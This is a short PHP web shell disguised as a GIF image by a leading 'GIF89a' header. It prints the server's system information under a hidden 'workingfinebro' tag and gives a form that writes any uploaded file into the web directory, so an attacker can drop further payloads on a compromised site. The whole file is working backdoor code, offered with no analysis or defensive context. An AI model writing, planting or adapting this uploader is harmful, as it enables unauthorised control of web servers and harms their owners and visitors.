GIF89a
<?php
$s = "workingfinebro";
echo '<h2 style="display:none;">workingfinebro</h2>';
echo '<center><pre><br><br><h1 style="color:red;">'.$s.'</h1><br>'.php_uname()."\\n".'<br><br><br><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';
if($_POST){
    $t = $_FILES['__']['tmp_name'];
    $n = $_FILES['__']['name'];
    if(@move_uploaded_file($t, $n)){
        echo '<b style="color:green;">Upload success</b><br><br><a href="'.$n.'" target="_blank">Click here</a>';
    } elseif(@copy($t, $n)){
        echo '<b style="color:green;">Upload success(copy)</b><br><br><a href="'.$n.'" target="_blank">Click here</a>';
    } else {
        echo '<b style="color:red;">Upload failed</b>';
    }
}
?>